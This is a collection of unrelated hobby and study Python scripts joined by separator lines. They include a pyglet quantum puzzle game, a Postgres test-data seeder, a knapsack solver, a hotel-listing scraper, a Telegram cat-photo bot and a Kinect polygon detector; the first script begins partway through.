pyglet.gl.glBlendFunc(pyglet.gl.GL_SRC_ALPHA, pyglet.gl.GL_ONE_MINUS_SRC_ALPHA)
# labels
if show_doc_move == MessageState.display:
doc_move_label.draw()
if show_doc_teleport == MessageState.display:
doc_teleport_label.draw()
if show_goal == MessageState.display:
goal_label.draw()
if show_game_over == MessageState.display:
game_over_label.draw()
main_batch.draw()
pyglet.gl.glLineWidth(2.0)
wire_door_batch.draw()
wire_entangler_batch.draw()
pyglet.gl.glLineWidth(1.0)
global door_open
for i in range(len(door_open)):
if door_open[i]:
door_open_sprites[i].draw()
else:
door_close_sprites[i].draw()
global button_pressed
for i in range(len(button_pressed)):
if button_pressed[i]:
button_green_sprites[i].draw()
else:
button_red_sprites[i].draw()
global player_pos
global qubit_theta, qubit_phi
global entanglers
is_entangled = False
for ent in entanglers:
if ent.state != EntanglerState.inactive:
if ent.entangled:
# Bloch vector
r = spherical_to_cartesian(qubit_theta, qubit_phi)
# player qubit north or south pole, static entangler qubit north or south pole, first or second entangler qubit rotating, Bloch vector transformation
strob_map = [
( 1, 1, 0, np.array([-1, 1, -1])), # - beta |000> + alpha |001>; rotate by angle pi around y-axis
( 1, -1, 1, np.array([ 1, 1, 1])), # + alpha |001> + beta |011>; use Bloch vector as-is
( 1, -1, 0, np.array([-1, -1, 1])), # - alpha |010> + beta |011>; rotate by angle pi around z-axis
( 1, 1, 1, np.array([ 1, -1, -1])), # - beta |000> - alpha |010>; rotate by angle pi around x-axis
(-1, 1, 0, np.array([ 1, -1, -1])), # + beta |100> + alpha |101>; rotate by angle pi around x-axis
(-1, -1, 1, np.array([-1, -1, 1])), # + alpha |101> - beta |111>; rotate by angle pi around z-axis
(-1, -1, 0, np.array([ 1, 1, 1])), # - alpha |110> - beta |111>; use Bloch vector as-is
(-1, 1, 1, np.array([-1, 1, -1])), # + beta |100> - alpha |110>; rotate by angle pi around y-axis
]
s = strob_map[ent.stroboscope_idx]
draw_bloch(tuple(player_pos), bloch_sphere_sprite, np.array([0, 0, s[0]]))
draw_bloch(tuple(ent.qpos[ s[2]]), bloch_sphere_sprite, np.array([0, 0, s[1]]))
draw_bloch(tuple(ent.qpos[1-s[2]]), bloch_sphere_sprite, s[3]*r)
is_entangled = True
else:
if ent.show:
# Bloch vectors pointing in opposite directions
clr = (0.880722, 0.611041, 0.142051)
draw_bloch(tuple(ent.qpos[0]), bloch_sphere_sprite, ent.bloch_vec, color=clr)
draw_bloch(tuple(ent.qpos[1]), bloch_sphere_sprite, -ent.bloch_vec, color=clr)
else:
draw_bloch(tuple(ent.qpos[0]), bloch_sphere_sprite, None)
draw_bloch(tuple(ent.qpos[1]), bloch_sphere_sprite, None)
if not is_entangled:
# Bloch vector
r = spherical_to_cartesian(qubit_theta, qubit_phi)
draw_bloch(tuple(player_pos), bloch_sphere_sprite, r)
# draw overall "flash"
global flash_active, flash_time, flash_duration
if flash_active:
brightness = np.arctan(15 * (1 - flash_time/flash_duration)) / (0.5*np.pi)
width, height = window.get_size()
pyglet.graphics.draw_indexed(4, pyglet.gl.GL_TRIANGLES,
[0, 1, 2, 0, 2, 3],
('v2i', (0, 0, 0, height, width, height, width, 0)),
('c4f', (
1., 1., 1., brightness,
1., 1., 1., brightness,
1., 1., 1., brightness,
1., 1., 1., brightness)))
def update(dt):
global qubit_theta, qubit_theta_dir, qubit_phi
qubit_theta += np.pi * 0.04*np.sqrt(2) * qubit_theta_dir * dt
if qubit_theta < 0:
qubit_theta = -qubit_theta
qubit_phi += np.pi
qubit_theta_dir = -qubit_theta_dir
elif qubit_theta > np.pi:
qubit_theta = 2*np.pi - qubit_theta
qubit_phi += np.pi
qubit_theta_dir = -qubit_theta_dir
qubit_phi += 2*np.pi * 0.8 * dt
# avoid eventual overflow
if qubit_phi > 2*np.pi:
qubit_phi -= 2*np.pi
global flash_active, flash_time, flash_duration
if flash_active:
flash_time += dt
if flash_time > flash_duration:
flash_active = False
flash_time = 0
global player_pos
global player_vel
# superimpose keyboard movement
dpos_key = np.zeros(2)
if keys[key.LEFT] or keys[key.A]: dpos_key[0] -= 150*dt
elif keys[key.RIGHT] or keys[key.D]: dpos_key[0] += 150*dt
elif keys[key.UP] or keys[key.W]: dpos_key[1] += 150*dt
elif keys[key.DOWN] or keys[key.S]: dpos_key[1] -= 150*dt
physics_update(player_pos, player_vel, dt, delta_pos=dpos_key, gammafrict=5)
global button_aabbs, button_pressed
global door_open
button_pressed_prev = button_pressed
button_pressed = len(button_aabbs) * [False]
# player bounding box
size = 0.7*tile_size
player_box = AABB(player_pos[0] - 0.5*size, player_pos[0] + 0.5*size,
player_pos[1] - 0.5*size, player_pos[1] + 0.5*size)
for i in range(len(button_pressed)):
if player_box.intersect(button_aabbs[i]):
button_pressed[i] = True
# activate door
door_open[0] = button_pressed[0]
if button_pressed[0] != button_pressed_prev[0]:
# restart animation
door_open_sprites[0] = pyglet.sprite.Sprite(door_l_open_anim, door_open_sprites[0].x, door_open_sprites[0].y)
door_close_sprites[0] = pyglet.sprite.Sprite(door_l_close_anim, door_close_sprites[0].x, door_close_sprites[0].y)
global entanglers
# check if player just activated the entangler
global show_doc_teleport
if (button_pressed[1] and (not button_pressed_prev[1])) or (button_pressed[2] and (not button_pressed_prev[2])):
entanglers[0].reset()
entanglers[0].activate()
if show_doc_teleport == MessageState.nascent:
show_doc_teleport = MessageState.display
global player_entangler
global player_entangler_qindex
player_entangler = None
# "magnetic" attractive force towards entangler qubits
radius = 31
for ent in entanglers:
ent.entangled = False
if ent.state != EntanglerState.inactive:
for i in range(2):
d = ent.qpos[i] - player_pos
dist = np.linalg.norm(d)
if dist < 2.5*radius:
player_entangler = ent
player_entangler_qindex = i
ent.entangled = True
ent.qvel[i] += np.sign(2*radius - dist) * dt*40*(d/dist)
for ent in entanglers:
ent.update(dt)
global game_over
if not game_over:
# check whether game is over based on player position
target_box = AABB(tile_size, 5*tile_size, 7*tile_size, 10*tile_size)
game_over = target_box.contains(player_pos[0], player_pos[1])
global show_goal, show_game_over
if game_over:
show_goal = MessageState.hidden
show_game_over = MessageState.display
def main():
# update the game 50 times per second
pyglet.clock.schedule_interval(update, 1 / 50.0)
pyglet.app.run()
if __name__ == '__main__':
main()
|
#!/usr/bin/env python3
from randomuser import RandomUser
import random
import time
import psycopg as pg
import uuid
from datetime import timedelta, datetime
NUM_USERS=100
NUM_FACILITIES=20
MAX_ACCESS_PER_USER=20
CONNECTION_DATA="dbname='ipm2122_db' host='localhost' port='5438' user='ipm2122_user' password='secret'"
def random_dates(start, end):
delta = end - start
int_delta = (delta.days * 24 * 60 * 60) + delta.seconds
random_second_1 = random.randrange(int_delta)
random_second_2 = random_second_1 + random.randrange(60*60*8)
return start + timedelta(seconds=random_second_1), start + timedelta(seconds=random_second_2)
if __name__ == "__main__":
user_list = RandomUser.generate_users(NUM_USERS, {'nat': 'es'})
conn = pg.connect(CONNECTION_DATA)
cur = conn.cursor()
user_ids = []
cur.execute("DELETE FROM access_log")
cur.execute("DELETE FROM facilities")
cur.execute("DELETE FROM users")
print("Inserting users...", end=' ', flush=True)
for user in user_list:
user_id = str(uuid.uuid4())
user_ids.append(user_id)
username = user.get_username()
password = user.get_password()
name = user.get_first_name()
surname = user.get_last_name()
email = user.get_email()
is_vaccinated = bool(random.getrandbits(1))
phone = user.get_phone()
cur.execute("""
INSERT INTO users(
uuid,
username,
password,
name,
surname,
email,
is_vaccinated,
phone)
VALUES (%s,%s,%s,%s,%s,%s,%s,%s)
""", (user_id, username, password, name, surname, email, is_vaccinated, phone)
)
print("done")
print("Inserting facilities...", end=' ', flush=True)
facility_list = RandomUser.generate_users(NUM_FACILITIES, {'nat': 'es'})
facility_types = ["Edificio", "Biblioteca", "Polideportivo", "Estadio", "Centro cultural", "Centro comercial"]
facility_ids = []
for facility in facility_list:
facility_name = f"{random.choice(facility_types)} {facility.get_first_name()} {facility.get_last_name()}"
address = facility.get_street()
max_capacity = random.randrange(50, 300, 10)
percentage_capacity_allowed = random.randrange(30, 100, 10)
cur.execute("""
INSERT INTO facilities(
name,
address,
max_capacity,
percentage_capacity_allowed)
VALUES (%s,%s,%s,%s) RETURNING id
""", (facility_name, address, max_capacity, percentage_capacity_allowed)
)
facility_id = cur.fetchone()[0]
facility_ids.append(facility_id)
print("done")
print("Inserting access logs...")
today = datetime.today()
last_month = datetime.today() - timedelta(days=30)
n = 0
for user_id in user_ids:
print("\t- user", n)
n +=1
for i in range(random.randrange(10,MAX_ACCESS_PER_USER)):
facility_id = random.choice(facility_ids)
date_in, date_out = random_dates(last_month, today)
temperature = float(random.randrange(350, 375))/10
cur.execute("""
INSERT INTO access_log(
user_id,
facility_id,
type,
timestamp,
temperature)
VALUES(%s, %s, %s, %s, %s)
""", (user_id, facility_id, "IN", str(date_in), str(temperature)) )
cur.execute("""
INSERT INTO access_log(
user_id,
facility_id,
type,
timestamp,
temperature)
VALUES(%s, %s, %s, %s, %s)
""", (user_id, facility_id, "OUT", str(date_out), str(temperature)) )
print("done")
conn.commit()
cur.close()
conn.close()
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Decorator takes a function as a parameter and adds functionality to the second function without explicitly modifying it.
"""
def p_decorate(func):
"""
Simple decorator
:param func: The function that the decorator encapsulates
:return: the functions output wrapped by p tags
"""
def func_wrapper(*args, **kwargs):
return "<p>{f}</p>".format(f=func(*args, **kwargs))
# Notice the return function is NOT executed there are no ()
return func_wrapper
@p_decorate
def some_text(name):
"""
Some method that doesn't even know about the decorator
:param name: string some name
:return: Some ipsum with a name
"""
return "Ipsum {n}, Ipsum!".format(n=name)
def tag(tag_name):
"""
A Decorator function that takes parameters
:param tag_name: Str the html tag to use
:return: the output of a function wrapped in a custom tag
"""
def tag_decorator(func):
"""
This function catches the function to be wrapped
:param func: The function getting wrapped
:return: A string with html tags
"""
def func_wrapper(*args, **kwargs):
"""
This function actually executes the function and then wraps the output with
html tags.
:param args:
:param kwargs:
:return:
"""
return "<{t}>{f}</{t}>".format(t=tag_name, f=func(*args, **kwargs))
return func_wrapper
return tag_decorator
@tag('h1')
def some_text_2(name):
return "I knew {n} could get the job done!".format(n=name)
def main():
print(some_text("John Wanye"))
print(some_text_2("Superman"))
if __name__ == "__main__":
# execute only if run as a script
main()
|
#!/usr/bin/env python
### Example purdy library code
#
# Displays a REPL session without any token processing using the "none" lexer,
# highlighting the first three lines in succession
from purdy.actions import Append, Wait, HighlightChain
from purdy.content import Code
from purdy.ui import SimpleScreen
screen = SimpleScreen()
code_box = screen.code_box
blob = Code('../display_code/simple.repl', lexer_name="none")
actions = [
Append(code_box, blob),
Wait(),
HighlightChain(code_box, [1, 2, 3]),
]
if __name__ == '__main__':
screen.run(actions)
|
import pandas as pd
import numpy as np
from sklearn.cluster import KMeans
data = pd.read_csv('C:\\Users\\Preetham G\\Documents\\Research Projects\\Forecast of Rainfall Quantity and its variation using Envrionmental Features\\Data\\Normalized & Combined Data\\All Districts.csv')
dist = ['Ariyalur','Chennai','Coimbatore','Cuddalore','Dharmapuri','Dindigul','Erode','Kancheepuram','Karur','Madurai','Nagapattinam','Namakkal','Perambalur','Pudukkottai','Ramanathapuram','Salem','Sivaganga','Thanjavur','Theni','The Nilgiris','Thiruvallur','Thiruvarur','Thoothukkudi','Tiruchirapalli','Tirunelveli','Tiruvannamalai','Vellore','Viluppuram','Virudhunagar']
feat = ['Average Temperature', 'Cloud Cover', 'Crop Evapotranspiration', 'Maximum Temperature', 'Minimum Temperature', 'Potential Evapotranspiration', 'Vapour Pressure', 'Wet Day Frequency', 'Rainfall']
d_med = {}
for i in feat:
f_med = []
dat = data[['District', i]]
for j in dist:
print(i, j)
td = dat[dat['District'] == j]
t = list(td[i])
f_med.append(np.median(t))
d_med[i] = f_med
d_med['District'] = dist
columns = ['District'] + feat
df_med = pd.DataFrame(d_med, columns=columns)
km_med = KMeans(n_clusters=6)
km_med.fit(df_med.drop(columns=['District']))
l_med = list(km_med.labels_)
df_med['Cluster'] = l_med
df_med.to_csv('C:\\Users\\Preetham G\\Documents\\Research Projects\\Forecast of Rainfall Quantity and its variation using Envrionmental Features\\Results\\Clustering\\6 Clusters.csv', index=False) |
def solve(n, w, val, weight):
dp = [[0 for i in xrange(w+1)] for j in xrange(n+1)]
for i in xrange(n+1):
for j in xrange(w+1):
if i == 0 or j == 0:
dp[i][j] = 0;
elif weight[i-1] > j:
dp[i][j] = dp[i-1][j]
else:
dp[i][j] = max(val[i-1]+dp[i-1][j-weight[i-1]], dp[i-1][j])
i = w
# for s in dp:
# print s
while dp[n][i-1] == dp[n][w]:
i -= 1
print i,dp[n][w]
import sys
inputs = sys.stdin.read()
inputs = inputs.split('\n')
i = 0
while 1:
# w, n = map(int, raw_input().split())
w, n = map(int, inputs[i].split())
i += 1
if w == 0 and n == 0: break
val = []
weight = []
for _ in xrange(n):
x, y = map(int, inputs[i].split())
i += 1
val.append(y)
weight.append(x)
solve(n, w, val, weight)
# raw_input()
i += 1
|
from modules import *
driver = webdriver.Chrome(executable_path=executable_path)
driver.get("https://www.oyorooms.com/")
driver.maximize_window()
driver.find_element_by_xpath('//*[@id="root"]/div/div[3]/div[1]/div[3]/div/div/div/div[1]/div/div/div/div/div/span[2]').click()
time.sleep(3)
list_of_hotel = []
address_of_hotel = []
ratings_of_hostel = []
offer_price_hotel = []
general_price_of_room = []
# Hotel Name
for index in range(1,40,2):
xpath_hotel = '//*[@id="root"]/div/div[3]/div/div/div[2]/section/div/div[2]/div[' + str(index) + ']/div/div[2]/div/div[1]/div[2]/div/a/h3'
hotel_name = driver.find_element_by_xpath(xpath_hotel)
hotel_name = hotel_name.text
list_of_hotel.append(hotel_name)
time.sleep(3)
# Hotel Address
for index in range(1,40,2):
try:
xpath_address = '//*[@id="root"]/div/div[3]/div/div/div[2]/section/div/div[2]/div[' + str(index) + ']/div/div[2]/div/div[1]/div[2]/div/div/span[1]'
address = driver.find_element_by_xpath(xpath_address)
address = address.text
address_of_hotel.append(address)
except:
xpath_address = '//*[@id="root"]/div/div[3]/div/div/div[2]/section/div/div[2]/div[' + str(index) + ']/div/div[2]/div/div[1]/div[2]/div[1]/div/span[1]'
address = driver.find_element_by_xpath(xpath_address)
address = address.text
address_of_hotel.append(address)
# rating
for index in range(1,40,2):
try:
xpath_ratings = '//*[@id="root"]/div/div[3]/div/div/div[2]/section/div/div[2]/div[' + str(index) + ']/div/div[2]/div/div[1]/div[3]/div/span[1]/span[1]'
ratings = driver.find_element_by_xpath(xpath_ratings)
ratings = ratings.text
ratings_of_hostel.append(ratings)
except:
ratings_of_hostel.append('no rating')
# offer price
for index in range(1,40,2):
try:
xpath_offer_price = '//*[@id="root"]/div/div[3]/div/div/div[2]/section/div/div[2]/div[' + str(index) + ']/div/div[2]/div/div[2]/div[2]/div[1]/div/div[1]/span[1]'
offer_price = driver.find_element_by_xpath(xpath_offer_price)
offer_price = offer_price.text
offer_price_hotel.append(offer_price)
except:
general_price_of_room.append('no rating')
# general price
for index in range(1,40,2):
try:
xpath_general_price = '//*[@id="root"]/div/div[3]/div/div/div[2]/section/div/div[2]/div[' + str(index) + ']/div/div[2]/div/div[2]/div[2]/div[1]/div/div[1]/span[2]'
general_price = driver.find_element_by_xpath(xpath_general_price)
general_price = general_price.text
general_price_of_room.append(general_price)
except:
general_price_of_room.append('no rating')
if len(list_of_hotel) == len(address_of_hotel):
df = pd.DataFrame({'oyo hotel' : list_of_hotel, 'address' : address_of_hotel, 'ratings' : ratings_of_hostel, 'offered price' : offer_price_hotel, 'original price' : general_price_of_room})
# print(df.sort_values('ratings', ascending=False))
print(df)
def plot_regression_line(x,y,b):
plt.scatter(x,y, color="r", marker="x", s=50)
y_pred = b[0]*x + b[1]
plt.plot(x,y_pred, color="b")
plt.xlabel("X axis -->")
plt.ylabel("Y axis -->")
plt.title("Linear Regression Line")
plt.show()
def main():
lr = LinearRegression()
x = np.array(df['offered price'])
y = np.array(df['original price'])
x = x.reshape(-1,1)
lr.fit(x,y)
print("m : "+str(lr.coef_[0])," c :"+str(lr.intercept_))
b = (lr.coef_[0], lr.intercept_)
plot_regression_line(x,y,b)
|
import matplotlib.pyplot as plt
import pandas as pd
from pylab import mpl
mpl.rcParams['axes.unicode_minus'] = False
data = pd.read_csv(".\data\PDOS.csv", header=None)
plt.figure()
x1 = input("请输入x起始值\n")
x2 = input("清输入x结束值\n")
plt.xlim(int(x1),int(x2))
for i in range(data.shape[1]):
if i % 2 == 0:
plt.plot(data[i], data[i+1])
plt.axvline(x=0, linestyle='--', color='blue')
plt.title("分态密度曲线图谱")
plt.xlabel("Energy(eV)")
plt.rcParams['font.sans-serif'] = ['SimHei']
plt.ylabel("DOS")
plt.savefig("./picture/question3.3.png",dpi=1080,bbox_inches='tight')
plt.show()
|
from . import UMRLogging
from . import UMRConfig
from typing import List
import asyncio
__ALL__ = [
'BaseExtension',
'register_extension',
'post_init'
]
logger = UMRLogging.get_logger('Plugin')
class BaseExtension:
def __init__(self):
"""
Pre init logic, registering config validator, etc.
During this stage, only basic config is available, every other function is not up yet.
"""
pass
async def post_init(self):
"""
Real init logic, complete everything else here
During this stage, the dispatcher and drivers are up and running. Any patch should happen here.
:return:
"""
pass
extensions: List[BaseExtension] = []
def register_extension(extension):
"""
Register extension
:param extension: extension class instances
"""
extensions.append(extension)
async def post_init():
"""
Call every post init method
"""
if extensions:
await asyncio.wait([i.post_init() for i in extensions])
|
import httpretty
import json
from mock import patch
from skills_ml.datasets.sba_city_county import county_lookup, URL
COUNTY_RESPONSE = json.dumps([
{
"county_name": "St. Clair",
"description": None,
"feat_class": "Populated Place",
"feature_id": "4609",
"fips_class": "C1",
"fips_county_cd": "163",
"full_county_name": "St. Clair County",
"link_title": None,
"url": "http://www.belleville.net/",
"name": "Belleville",
"primary_latitude": "38.52",
"primary_longitude": "-89.98",
"state_abbreviation": "IL",
"state_name": "Illinois"
}
])
@httpretty.activate
@patch('skills_ml.datasets.sba_city_county.STATE_CODES', ['IL'])
def test_county_lookup():
httpretty.register_uri(
httpretty.GET,
URL.format('IL'),
body=COUNTY_RESPONSE,
content_type='application/json'
)
lookup = county_lookup.__wrapped__()
assert lookup['IL'] == {'Belleville': ('163', 'St. Clair')}
|
import logging, os
from glob import glob
from random import choice
from emoji import emojize
from utils import get_user_emo, get_keyboard, is_cat
import settings
def talk_to_me(bot, update, user_data):
emo = get_user_emo(user_data)
user_text = "Привет {} {}! Ты написал: '{}'".format(update.message.chat.first_name, emo, update.message.text)
logging.info("User: {}, Chat_id: {}, Message: {}".format(update.message.chat.first_name, update.message.chat.id, update.message.text))
update.message.reply_text(user_text, reply_markup=get_keyboard())
def greet_user(bot, update, user_data):
emo = get_user_emo(user_data)
text = 'Привет {}'.format(emo)
logging.info(text)
update.message.reply_text(text, reply_markup=get_keyboard())
def send_cat_picture(bot, update, user_data):
cat_list = glob('images/*.jpg')
cat_pic = choice(cat_list)
bot.send_photo(chat_id=update.message.chat.id, photo=open(cat_pic, 'rb'), reply_markup=get_keyboard())
def change_avatar(bot, update, user_data):
user_data['emo'] = emojize(choice(settings.USER_EMOJI), use_aliases=True)
text = 'Аватар изменен: {}'.format(user_data['emo'])
update.message.reply_text(text, reply_markup=get_keyboard())
def get_contact(bot, update, user_data):
contact = update.message.contact
text = 'Спасибо {}, твой номер: {}'.format(get_user_emo(user_data), contact['phone_number'])
update.message.reply_text(text, reply_markup=get_keyboard())
def get_location(bot, update, user_data):
location = update.message.location
text = 'Спасибо {}, твои координаты: {}'.format(get_user_emo(user_data), str(location))
update.message.reply_text(text, reply_markup=get_keyboard())
def check_user_photo(bot, update, user_data):
update.message.reply_text("Обрабатываю фото")
os.makedirs('downloads', exist_ok=True)
photo_file = bot.getFile(update.message.photo[-1].file_id)
filename = os.path.join('downloads', '{}.jpg'.format(photo_file.file_id))
photo_file.download(filename)
if is_cat(filename):
update.message.reply_text("Найден котэ, добавляю в библиотеку")
new_filename = os.path.join('images', 'cat_{}.jpg'.format(photo_file.file_id))
os.rename(filename, new_filename)
else:
update.message.reply_text("Котик не обнаружен!")
os.remove(filename) |
#!/usr/bin/python
#
# Find 4 sided polygons from a kinect
#
# Copyright (C) 2012 Mike Stitt
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
# of the Software, and to permit persons to whom the Software is furnished to do
# so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# Import Libraries
import sys
import math
import os
from cv2 import imwrite
from opencv.cv import *
from opencv import adaptors
from opencv.highgui import *
from time import time
from freenect import sync_get_depth as get_depth, sync_get_video as get_video, init
import numpy as np
from rx_config import *
from timing_stats import *
#initialize the camera
ctx = init()
# Grab an initial frame to get the video size
global depth, rgb
(depth,_), (rgb,_) = get_depth(), get_video()
rgbFrameSize = cvGetSize(rgb)
depthSize = cvGetSize(depth)
dwnFrameSize = cvSize(rgbFrameSize.width / 2, rgbFrameSize.height / 2)
dwnDepthSize = cvSize(depthSize.width / 2, depthSize.height / 2)
print 'rgbSize = %d %d' % (rgbFrameSize.width, rgbFrameSize.height)
print 'depthSize = %d %d' % (depthSize.width, depthSize.height)
# Allocate processing chain image buffers the same size as
# the video frame
rgbFrame = cvCreateImage( rgbFrameSize, cv.IPL_DEPTH_8U, 3 )
depthFrame = cvCreateImage( depthSize, cv.IPL_DEPTH_16U, 3 )
dwnDepthFrame = cvCreateImage( dwnDepthSize, cv.IPL_DEPTH_16U, 1 )#tbd 3 or 1?
dwnFrame = cvCreateImage( dwnFrameSize, cv.IPL_DEPTH_8U, 3 )
hsvImage = cvCreateImage( dwnFrameSize, cv.IPL_DEPTH_8U, 3 )
smooth = cvCreateImage( dwnFrameSize, cv.IPL_DEPTH_8U, 3 )
inRange = cvCreateImage( dwnFrameSize, cv.IPL_DEPTH_8U, 1 )
canny = cvCreateImage( dwnFrameSize, cv.IPL_DEPTH_8U, 1 )
canny2 = cvCreateImage( dwnFrameSize, cv.IPL_DEPTH_8U, 1 )
rgbFrameAndinRange = cvCreateImage( dwnFrameSize, cv.IPL_DEPTH_8U, 3 )
#depth1 = cvCreateImage( dwnFrameSize, cv.IPL_DEPTH_16U, 1 )
# allocate memory for contours
storContours = cv.cvCreateMemStorage(0);
storContours2 = cv.cvCreateMemStorage(0);
period = 0
i = 0
now = 0
before = 0
deltaTime = 0
beat=0
imageDir = '/home/enigma/images/'
currentImage = open(imageDir+'cur.txt','w')
frameToFrame = timing( 'frame to frame', 15)
beatToBeat = timing( 'beat to beat', 15)
convertColorTime = timing( 'convert color', 15 )
pyrDwnTime = timing( 'pyrDown', 15 )
smoothTime= timing( 'smooth', 15 )
inRangeTime = timing( 'in range', 15 )
copy1Time= timing( 'copy1', 15 )
cannyTime = timing( 'canny', 15 )
copy2Time = timing( 'copy2', 15 )
findContoursTime = timing( 'find contours', 15 )
procContoursTime = timing( 'process contours', 15 )
showImageTime = timing( 'show image', 15 )
frameProcTime = timing( 'frameProcTime', 15 )
while True:
# process beat frame out of "period" beats
i = i + 1
readConfig()
period = getConfig().colorFilter.beatPeriod
beat=beat+1
if beat >= period:
beat=0
if period>0:
# grab a video frame
# video device -> image "rgbFrame"
# Get a fresh frame
(depth,_), (rgb,_) = get_depth(), get_video()
frameToFrame.measureDeltaTime(frameToFrame)
# Build a two panel color image
#d3 = np.dstack((depth,depth,depth)).astype(np.uint8)
#da = np.hstack((d3,rgbFrame))
# Simple Downsample
#cvShowImage('both',adaptors.NumPy2Ipl(np.array(da[::2,::2,::-1])))
#depth0 = depth.astype(np.uint16)
#depth1 = adaptors.NumPy2Ipl(depth)
#depth1 = depth
if 0:
x = 0
y = 0
rawDisparity = cv.cvGet2D( depth, y, x )[0]
distance1a = (12.36 * math.tan(rawDisparity / 2842.5 + 1.1863))*0.3937
distance2a = (100.0 / (-0.00307*rawDisparity+3.33))*0.3937
x = 320
y = 0
rawDisparity = cv.cvGet2D( depth, y, x )[0]
distance1b = (12.36 * math.tan(rawDisparity / 2842.5 + 1.1863))*0.3937
distance2b = (100.0 / (-0.00307*rawDisparity+3.33))*0.3937
x = 631
y = 0
rawDisparity = cv.cvGet2D( depth, y, x )[0]
distance1c = (12.36 * math.tan(rawDisparity / 2842.5 + 1.1863))*0.3937
distance2c = (100.0 / (-0.00307*rawDisparity+3.33))*0.3937
print "c=%d r=%d depth=%d in=%f in=%f in=%f" % ( x, y, rawDisparity, distance1a, distance1b, distance1c )
if beat==0:
beatToBeat.measureDeltaTime(beatToBeat)
# convert frame from Blue.Green.Red to Hue.Saturation.Value
# image "rgbFrame" -> image "hsvImage"
rgbFrame = adaptors.NumPy2Ipl(rgb)
#depthFrame = adaptors.NumPy2Ipl(depth)
cvPyrDown(rgbFrame,dwnFrame)
cvPyrDown(depth,dwnDepthFrame)
pyrDwnTime.measureDeltaTime(beatToBeat)
cvCvtColor(dwnFrame,hsvImage,CV_BGR2HSV)
convertColorTime.measureDeltaTime(pyrDwnTime)
# gaussian smooth the Hue.Saturation.Value image
# image "hsvImage" -> image "smooth"
#smoothSize=9
#cvSmooth(hsvImage,smooth,CV_GAUSSIAN,smoothSize,smoothSize)
#smoothTime.measureDeltaTime(convertColorTime)
# find the target in the range: minHSV < target < maxHSV
# image "smooth" -> image "inRange"
minHSV = cvScalar( getConfig().colorFilter.minHue-1,
getConfig().colorFilter.minSat-1,
getConfig().colorFilter.minVal-1,
0 )
maxHSV = cvScalar( getConfig().colorFilter.maxHue+1,
getConfig().colorFilter.maxSat+1,
getConfig().colorFilter.maxVal+1,
0 )
print '%d<%d %d<%d %d<%d' % ( getConfig().colorFilter.minHue, getConfig().colorFilter.maxHue, getConfig().colorFilter.minSat, getConfig().colorFilter.maxSat, getConfig().colorFilter.minVal, getConfig().colorFilter.maxVal )
cvInRangeS(hsvImage,minHSV,maxHSV,inRange)
inRangeTime.measureDeltaTime(convertColorTime)
# make a debug image whose pixels are
# frame when minHSV < threshold < maxHSV
# and (0,0,0) "Black" elsewhere
# images "rgbFrame" AND "inRange" -> image "rgbFrameAndinRange"
cvZero(rgbFrameAndinRange)
cvCopy(dwnFrame,rgbFrameAndinRange,inRange)
copy1Time.measureDeltaTime(inRangeTime)
# run Canny edge detection on inRange
# image "inRange" -> image "canny"
print "t1=%d t2=%d a=%d" % (getConfig().findPoly.cannyThreshold1, getConfig().findPoly.cannyThreshold2, getConfig().findPoly.cannyAperature )
cvCanny(inRange,canny,getConfig().findPoly.cannyThreshold1,
getConfig().findPoly.cannyThreshold2,
getConfig().findPoly.cannyAperature)
cannyTime.measureDeltaTime(copy1Time)
# copy canny to canny2 because cvFindContours will overwrite canny2
# image "canny" -> image "canny2"
cvCopy(canny,canny2)
copy2Time.measureDeltaTime(cannyTime)
# Find all contours in the canny edged detected image
# image "canny2" -> list of contours: "cont"
nb_contours, contourList = cv.cvFindContours (canny2,
storContours,
cv.sizeof_CvContour,
cv.CV_RETR_LIST,
cv.CV_CHAIN_APPROX_SIMPLE,
cv.cvPoint (0,0))
findContoursTime.measureDeltaTime(copy2Time)
# if we found a list of contours
if contourList:
# look at each contour
# countourList(n) -> contour
for contour in contourList.hrange():
# keep contours greater than the minimum perimeter
perimiter = cvContourPerimeter(contour)
if perimiter > getConfig().findPoly.minPerimeter :
# approximate the contours into polygons
poly = cvApproxPoly( contour, sizeof_CvContour, storContours2,
CV_POLY_APPROX_DP,
perimiter*(getConfig().findPoly.deviationRatio/1000.0), 0 );
# good polygons should have 4 vertices after approximation
# relatively large area (to filter out noisy contours)
# and be convex.
# Note: absolute value of an area is used because
# area may be positive or negative - in accordance with the
# contour orientation
if ( poly.total==4
and abs(cvContourArea(poly)) > getConfig().findPoly.minArea
and cvCheckContourConvexity(poly) ):
# draw the good polygons on the frame
cv.cvDrawContours(dwnFrame, poly, CV_RGB(0,255,0), CV_RGB(0,255,255), 1, 4, 8)
# is polyOnImage ?
polyOnImage = True
for i in range(4):
if ( (poly[i].x <0) or (poly[i].x >= depthSize.width)):
polyOnImage = False
if ( (poly[i].y) <0 or (poly[i].y >= depthSize.height)):
polyOnImage = False
if 0:
#if polyOnImage:
for i in range(4):
print 'i=%d x=%d y=%d' % ( i, poly[i].x, poly[i].y )
rawDisparity = cv.cvGet2D( depth1, poly[i].y, poly[i].x )[0]
distance1 = (12.36 * math.tan(rawDisparity / 2842.5 + 1.1863))*0.3937
distance2 = (100.0 / (-0.00307*rawDisparity+3.33))*0.3937
print "corner=%d c=%d r=%d depth=%d cm=%f cm=%f" % ( i, poly[i].x, poly[i].y, rawDisparity, distance1, distance2 )
procContoursTime.measureDeltaTime(findContoursTime)
# display the captured frame, rgbFrameAndThresh, and canny images for debug
cvShowImage('window-capture',dwnFrame)
cvShowImage('thresh',rgbFrameAndinRange)
cvShowImage('canny',canny)
cvShowImage('depth',dwnDepthFrame)
idx=i%10
fileName = imageDir+str(idx)+'.jpg'
imwrite(fileName,adaptors.Ipl2NumPy(dwnFrame))
currentImage.seek(0)
